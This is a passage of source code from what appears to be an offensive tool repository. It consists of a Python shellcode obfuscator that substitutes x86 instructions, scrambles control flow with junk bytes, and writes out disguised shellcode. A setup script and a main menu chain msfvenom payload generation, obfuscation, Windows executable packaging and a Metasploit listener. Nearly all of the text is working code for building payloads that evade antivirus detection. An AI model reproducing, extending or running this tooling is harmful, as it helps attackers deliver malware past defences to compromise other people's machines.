| if len(_sib) > 0: 517 | exc_regs.append((ord(_sib) & 0x38) >> 3) 518 | exc_regs.append(ord(_sib) & 0x07) 519 | else: 520 | exc_regs.append(ord(_modrm) & 0x07) 521 | 522 | treg = get_rand_reg(exc_regs) 523 | 524 | opcode = ord(_opcode) 525 | mode = (ord(_modrm) & 0x38) >> 3 526 | 527 | if len(_imm) > 0: 528 | if len(_imm) == 1: 529 | if opcode == 0x80: 530 | imm = ord(_imm) 531 | elif opcode in [0x82, 0x83]: 532 | imm = get_signed_int(ord(_imm), 1) 533 | else: 534 | raise 535 | else: 536 | imm = int(_imm[::-1].encode('hex'), 16) 537 | 538 | cimm, il = obf_gen_reg_calc(treg, imm, random.randint(conf_min_steps, conf_max_steps), 4) 539 | lbl = i.label 540 | 541 | shell_delete_bytes(sl, ni) 542 | shell_insert_bytes(sl, ni, obf_gen_push_reg(treg), lbl) 543 | 544 | shell_insert_bytes(sl, ni+1, obf_gen_mov_reg_imm(treg, cimm, 4)) 545 | iadd = 1 546 | of = ni+2 547 | for l in il: 548 | shell_insert_bytes(sl, of, l) 549 | of += 1 550 | iadd += 1 551 | 552 | nopcode = 0 553 | if mode == 0: # add 554 | if opcode in [0x80, 0x82]: 555 | nopcode = 0x00 556 | elif opcode in [0x81, 0x83]: 557 | nopcode = 0x01 558 | elif mode == 1: # or 559 | if opcode in [0x80, 0x82]: 560 | nopcode = 0x08 561 | elif opcode in [0x81, 0x83]: 562 | nopcode = 0x09 563 | elif mode == 2: # adc 564 | if opcode in [0x80, 0x82]: 565 | nopcode = 0x10 566 | elif opcode in [0x81, 0x83]: 567 | nopcode = 0x11 568 | elif mode == 3: # sbb 569 | if opcode in [0x80, 0x82]: 570 | nopcode = 0x18 571 | elif opcode in [0x81, 0x83]: 572 | nopcode = 0x19 573 | elif mode == 4: # and 574 | if opcode in [0x80, 0x82]: 575 | nopcode = 0x20 576 | elif opcode in [0x81, 0x83]: 577 | nopcode = 0x21 578 | elif mode == 5: # sub 579 | if opcode in [0x80, 0x82]: 580 | nopcode = 0x28 581 | elif opcode in [0x81, 0x83]: 582 | nopcode = 0x29 583 | elif mode == 6: # xor 584 | if opcode in [0x80, 0x82]: 585 | nopcode = 0x30 586 | elif opcode in [0x81, 0x83]: 587 | nopcode = 0x31 588 | elif mode == 7: # cmp 589 | if opcode in [0x80, 0x82]: 590 | nopcode = 0x38 591 | elif opcode in [0x81, 0x83]: 592 | nopcode = 0x39 593 | 594 | nmodrm = (ord(_modrm) & 0xc7) | (treg << 3) 595 | ninstr = _prefix + chr(nopcode) + chr(nmodrm) + _sib + _disp 596 | shell_insert_bytes(sl, of, ninstr) 597 | 598 | shell_insert_bytes(sl, of+1, obf_gen_pop_reg(treg)) 599 | iadd += 2 600 | iadd += 1 601 | 602 | return iadd 603 | 604 | def obf_instr(sl, ni): 605 | i = sl[ni] 606 | fi = 0 607 | iadd = 0 608 | for b in i.bytes[fi]: 609 | if ord(b) in [0x26, 0x2e, 0x36, 0x3e, 0x64, 0x65, 0x66, 0x67, 0x9b, 0xf0, 0xf1, 0xf2, 0xf3]: # known prefixes 610 | fi += 1 611 | else: 612 | break 613 | 614 | if ord(i.bytes[fi]) >= 0xb0 and ord(i.bytes[fi]) <= 0xbf: # mov reg, imm 615 | #print 'mov reg,imm:', ni 616 | iadd = obf_mov_reg_imm(sl, ni) 617 | elif ord(i.bytes[fi]) == 0x6a or ord(i.bytes[fi]) == 0x68: # push imm 618 | #print 'push imm:', ni 619 | iadd = obf_push_imm(sl, ni) 620 | elif (ord(i.bytes[fi]) == 0x8b or ord(i.bytes[fi]) == 0x8a) and (ord(i.bytes[fi+1]) & 0xC0) in [0x40, 0x80]: # mov reg, [reg+disp] 621 | #print 'mov reg, [reg+disp]:', ni 622 | iadd = obf_mov_reg_reg_imm_disp(sl, ni) 623 | elif ord(i.bytes[fi]) in [0x80, 0x81, 0x82, 0x83]: # reg, imm 624 | #print ' reg, imm:', ni 625 | iadd = obf_oper_reg_imm(sl, ni) 626 | return iadd 627 | 628 | def do_obfuscate(sl): 629 | ni = 0 630 | iadd = 0 631 | for i in sl: 632 | if iadd==0 and i.is_data==0: 633 | iadd += obf_instr(sl, ni) # iadd will receive the number of added instructions that we need to skip afterwards 634 | if iadd>0: 635 | iadd -= 1 636 | ni += 1 637 | 638 | def insert_bad_byte(sl, ni): 639 | bb = random.choice([0x68, 0x81, 0x83, 0xe8, 0xe9, 0xea, 0xd8, 0xd9, 0xda, 0xdc, 0xde, 0xf7]) 640 | shell_insert_data(sl, ni, chr(bb)) 641 | 642 | def do_mangle_flow(sl, level): 643 | ret = [] 644 | ni = 0 645 | ki = 0 646 | jmps = 0 647 | jlab = get_next_label(sl) 648 | for i in sl: 649 | if i.is_data==0: 650 | if len(ret)>0 and random.randint(0,10) <= level: 651 | # do jump 652 | to_label = i.label 653 | if to_label == -1: 654 | to_label = jlab 655 | jlab += 1 656 | shell_insert_bytes(ret, ki, '\xeb\x00', -1, to_label) 657 | insert_bad_byte(ret, ki+1) 658 | 659 | ki = random.randint(0,len(ret)-1) 660 | while ki label_i: 711 | label_i = i.label 712 | return label_i+1 713 | 714 | def calc_jmp(sl, fromi, toi): 715 | d = 0 716 | if fromi < toi: 717 | mini = fromi+1 718 | maxi = toi 719 | dr = 1 720 | else: 721 | mini = toi 722 | maxi = fromi+1 723 | dr = -1 724 | 725 | for ni in range(mini,maxi): 726 | d += sl[ni].size 727 | return d*dr 728 | 729 | def parse_shell(sl): 730 | offset = 0 731 | si = 0 732 | label_i = 0 733 | for i in sl: 734 | if i.is_data==0 and is_rel_jmp(i.bytes): 735 | d = get_jmp_delta(i.bytes) 736 | jmp_off = offset+i.size+d 737 | 738 | ni = get_instr_i_by_offset(sl, jmp_off) 739 | if ni > -1: 740 | if sl[ni].label == -1: 741 | sl[ni].label = label_i 742 | label_i += 1 743 | li = sl[ni].label 744 | i.jmp_label = li 745 | 746 | jmpi = get_instr_i_by_label(sl, i.jmp_label) 747 | cd = calc_jmp(sl, si, jmpi) 748 | si += 1 749 | offset += i.size 750 | 751 | def fix_shell(sl): 752 | # replace problematic instructions 753 | ni = 0 754 | for i in sl: 755 | if i.is_data==0: 756 | if ord(i.bytes[0]) == 0xe2: # loop 757 | shell_insert_bytes(sl, ni, '\x49', i.label) # dec ecx 758 | shell_replace_bytes(sl, ni+1, '\x75\x00', -1, i.jmp_label) # jnz 759 | fix_jmp(sl, ni+1) 760 | if ord(i.bytes[0]) == 0xe3: # jecxz 761 | shell_insert_bytes(sl, ni, '\x85\xc9', i.label) # text ecx, ecx 762 | shell_replace_bytes(sl, ni+1, '\x74\x00', -1, i.jmp_label) # jz 763 | fix_jmp(sl, ni+1) 764 | if ord(i.bytes[0]) in [0xe0, 0xe1]: 765 | li = i.label 766 | jmpi = i.jmp_label 767 | nextl = get_next_label(sl) 768 | 769 | fjmp = '\x75\x00' 770 | if ord(i.bytes[0]) == 0xe1: 771 | fjmp = '\x74\x00' 772 | 773 | shell_delete_bytes(sl, ni) 774 | 775 | jlab = nextl+1 776 | 777 | shell_insert_bytes(sl, ni, '\x75\x00', li, nextl) 778 | shell_insert_bytes(sl, ni+1, '\x49') 779 | shell_insert_bytes(sl, ni+2, '\x74\x00', -1, jlab) 780 | shell_insert_bytes(sl, ni+3, '\xe9\x00\x00\x00\x00', -1, jmpi) 781 | shell_insert_bytes(sl, ni+4, '\x49', nextl) 782 | shell_insert_bytes(sl, ni+5, '\x90', jlab) 783 | 784 | fix_jmp(sl, ni) 785 | fix_jmp(sl, ni+2) 786 | fix_jmp(sl, ni+3) 787 | 788 | ni += 1 789 | 790 | def shell_insert_bytes(sl, ni, bytes, label = -1, jmp_label = -1): 791 | l = distorm3.Decode(0, bytes, distorm3.Decode32Bits) 792 | tsize = 0 793 | for (offset, size, instr, hexdump) in l: 794 | i = _instr(bytes[offset:offset+size], size, 0) 795 | i.label = label 796 | i.jmp_label = jmp_label 797 | 798 | sl.insert(ni, i) 799 | ni += 1 800 | tsize += size 801 | recalc_jmps(sl, ni) 802 | 803 | def shell_insert_data(sl, ni, bytes): 804 | i = _instr(bytes[:], len(bytes), 1) 805 | sl.insert(ni, i) 806 | recalc_jmps(sl, ni) 807 | 808 | def shell_replace_bytes(sl, ni, bytes, label = -1, jmp_label = -1): 809 | i = sl[ni] 810 | i.bytes = bytes 811 | i.size = len(bytes) 812 | i.label = label 813 | i.jmp_label = jmp_label 814 | recalc_jmps(sl, ni) 815 | 816 | def shell_delete_bytes(sl, ni): 817 | sl.remove(sl[ni]) 818 | recalc_jmps(sl, ni) 819 | 820 | def fix_jmp(sl, ni): 821 | i = sl[ni] 822 | if is_rel_jmp(i.bytes): 823 | jmpi = get_instr_i_by_label(sl, i.jmp_label) 824 | if jmpi >= 0: 825 | cd = calc_jmp(sl, ni, jmpi) 826 | rd = get_jmp_delta(i.bytes) 827 | #print 'cd:', cd, 'rd:', rd 828 | if cd != rd: 829 | nbytes = mod_jmp_delta(i.bytes, cd) 830 | ldiff = len(i.bytes)-len(nbytes) 831 | i.bytes = nbytes 832 | i.size = len(nbytes) 833 | if ldiff != 0: 834 | recalc_jmps(sl, ni) 835 | 836 | def recalc_jmps(sl, ni): 837 | nni = 0 838 | for i in sl: 839 | if i.jmp_label >= 0: 840 | jmpi = get_instr_i_by_label(sl, i.jmp_label) 841 | if jmpi >= 0: 842 | #print 'jmpi:', jmpi, 'ni:', ni, 'nni:', nni 843 | if (jmpi <= ni and ni <= nni) or (jmpi >= ni and ni >= nni): 844 | cd = calc_jmp(sl, nni, jmpi) 845 | rd = get_jmp_delta(i.bytes) 846 | if cd != rd: 847 | nbytes = mod_jmp_delta(i.bytes, cd) 848 | ldiff = len(i.bytes)-len(nbytes) 849 | i.bytes = nbytes 850 | i.size = len(nbytes) 851 | if ldiff != 0: 852 | recalc_jmps(sl, nni) 853 | nni += 1 854 | 855 | def load_shell(bin, range): 856 | ret = [] 857 | 858 | rbin = [] 859 | ibin = [] 860 | 861 | if range != '': 862 | cr = 0 863 | for r in range.split(','): 864 | rr = r.split('-') 865 | br = int(rr[0]) 866 | er = int(rr[1]) 867 | if br > cr: 868 | rbin.append( bin[cr:br] ) 869 | ibin.append(1) 870 | rbin.append(bin[br:er]) 871 | ibin.append(0) 872 | cr = er 873 | if cr == 0: 874 | rbin.append(bin[:]) 875 | ibin.append(0) 876 | elif cr < len(bin): 877 | rbin.append(bin[cr:]) 878 | ibin.append(1) 879 | else: 880 | rbin.append(bin[:]) 881 | ibin.append(0) 882 | 883 | i=0 884 | for t in rbin: 885 | i+=1 886 | 887 | i=0 888 | for rb in rbin: 889 | if ibin[i]==0: 890 | l = distorm3.Decode(0, rb, distorm3.Decode32Bits) 891 | for (offset, size, instr, hexdump) in l: 892 | ret.append( _instr(rb[offset:offset+size], size, 0) ) 893 | else: 894 | ret.append( _instr(rb[:], len(rb), 1) ) 895 | i+=1 896 | 897 | parse_shell(ret) 898 | return ret[:] 899 | 900 | def write_shell(sl): 901 | ret = '' 902 | for i in sl: 903 | ret += i.bytes 904 | return ret 905 | 906 | def print_disasm(sl): 907 | 908 | ni = 0 909 | ioff = 0 910 | for i in sl: 911 | if i.is_data == 0: 912 | #if i.label >= 0 or i.jmp_label >= 0: 913 | # print 'label:', i.label, 'jmp_label:', i.jmp_label 914 | l = distorm3.Decode(ioff, i.bytes, distorm3.Decode32Bits) 915 | for (offset, size, instr, hexdump) in l: 916 | print ('%-4i %.8x: %-32s %s' % (ni, offset, hexdump, instr)) 917 | ni += 1 918 | ioff += size 919 | else: 920 | print ('%-4i %.8x:' % (ni, ioff),) 921 | print_string_hex(i.bytes) 922 | print ('') 923 | ioff += i.size 924 | 925 | def print_debug(sl): 926 | 927 | offset = 0 928 | for i in sl: 929 | print ('%08x:' % (offset),print_string_hex(i.bytes)) 930 | if i.label > -1: 931 | print ('label:', i.label) 932 | if i.jmp_label > -1: 933 | print ('jmp_to:', i.jmp_label,) 934 | print ('') 935 | offset += i.size 936 | 937 | def print_string_hex(str): 938 | for c in str: 939 | print ("%02x" % ord(c),) 940 | 941 | def parse_args(): 942 | parser = argparse.ArgumentParser() 943 | parser.add_argument("-i", "--input", help="Input binary shellcode file", default='', required=True) 944 | parser.add_argument("-o", "--output", help="Output obfuscated binary shellcode file", default='', required=True) 945 | parser.add_argument("-r", "--range", help="Ranges where code instructions reside (e.g. 0-184,188-204)", default='') 946 | parser.add_argument("-p", "--passes", help="How many passes should the obfuscation process go through (def. 1)", default=1, type=int) 947 | parser.add_argument("-f", "--mixflow", help="Specify level of execution flow mixing (0-10) (def. 5)", default=5, type=int) 948 | return parser.parse_args() 949 | 950 | def main(): 951 | args = parse_args() 952 | 953 | with open(args.input, 'rb') as f: 954 | shbin = f.read() 955 | 956 | sl = load_shell(shbin, args.range) 957 | print_disasm(sl) 958 | fix_shell(sl) 959 | print ('') 960 | for i in range(1,args.passes+1): 961 | print ('Obfuscation pass:', ) 962 | do_obfuscate(sl) 963 | 964 | if args.mixflow > 0: 965 | sl = do_mangle_flow(sl, args.mixflow) 966 | 967 | print ('') 968 | print_disasm(sl) 969 | 970 | obin = write_shell(sl) 971 | with open(args.output, 'wb') as f: 972 | f.write(obin) 973 | 974 | if __name__ == '__main__': 975 | main() 976 | -------------------------------------------------------------------------------- /setup/setup.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | os.system('sudo apt-get update') 4 | os.system("sudo apt-get install -y python3-pip") 5 | os.system("pip3 install pyinstaller") 6 | os.system('pip3 install distorm3') 7 | os.system("curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -") 8 | os.system("echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list") 9 | os.system("sudo apt-get update") 10 | os.system("sudo apt-get remove docker docker-engine docker.io") 11 | os.system("sudo apt-get -y install docker-ce") 12 | os.system("sudo systemctl start docker") 13 | os.system("sudo systemctl enable docker") 14 | os.system("sudo usermod -aG docker $USER") 15 | os.system("docker pull cdrx/pyinstaller-windows:python3-32bit") 16 | 17 | -------------------------------------------------------------------------------- /shecodject.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | file = os.getcwd() 4 | sys.path.insert(0,file+'/module') 5 | from core.ui import UI,color 6 | from core.Menu import Menu 7 | 8 | from shellcode_path import shellcode 9 | from obfuscation import obshellcode 10 | from msfvenom import msf_origin_raw 11 | from make_exe import exe_options 12 | from listener import msflistener 13 | 14 | 15 | if __name__ == "__main__": 16 | 17 | if not os.path.exists('output/'): 18 | os.mkdir('output') 19 | 20 | if not os.path.exists('tmp/'): 21 | os.mkdir('tmp/') 22 | 23 | #pathfile 24 | shellcode_temp = '' 25 | msfconsole_rc = '' 26 | shellcode_raw = '' 27 | 28 | #initialize 29 | exit_flag = False 30 | ui = UI() 31 | menu = Menu() 32 | Color=color() 33 | 34 | #Menu initial 35 | while not exit_flag: 36 | ui.banner() 37 | menu_show = ui.showmenu(menu.options) 38 | choice = input("selected option >>> ") 39 | if choice in menu.allowinput: 40 | mod = None 41 | if choice == 'exit': 42 | exit_flag=True 43 | if choice == 'scc': 44 | mod = shellcode(ui) 45 | mod.do_action(ui.banner) 46 | shellcode_temp = './tmp/'+mod.values['tempfile'] 47 | if choice == 'mpr': 48 | mod = msf_origin_raw(ui) 49 | mod.do_action(ui.banner) 50 | shellcode_raw = mod.outraw 51 | shellcode_temp = './tmp/'+mod.values['tempfile'] 52 | msfconsole_rc = mod.msfrc 53 | if choice == 'obf': 54 | mod = obshellcode(ui) 55 | mod.values['source'] = shellcode_raw 56 | mod.do_action(ui.banner) 57 | shellcode_temp = './tmp/'+mod.values['tempfile'] 58 | if choice == 'exe': 59 | mod = exe_options(ui) 60 | mod.values['source'] = shellcode_temp 61 | mod.do_action(ui.banner) 62 | if choice == 'msf': 63 | mod = msflistener(ui) 64 | mod.values['source'] = msfconsole_rc 65 | mod.do_action(ui.banner) 66 | 67 | else: 68 | print(Color.FAIL+"Invalid operation"+Color.ENDC) 69 | --------------------------------------------------------------------------------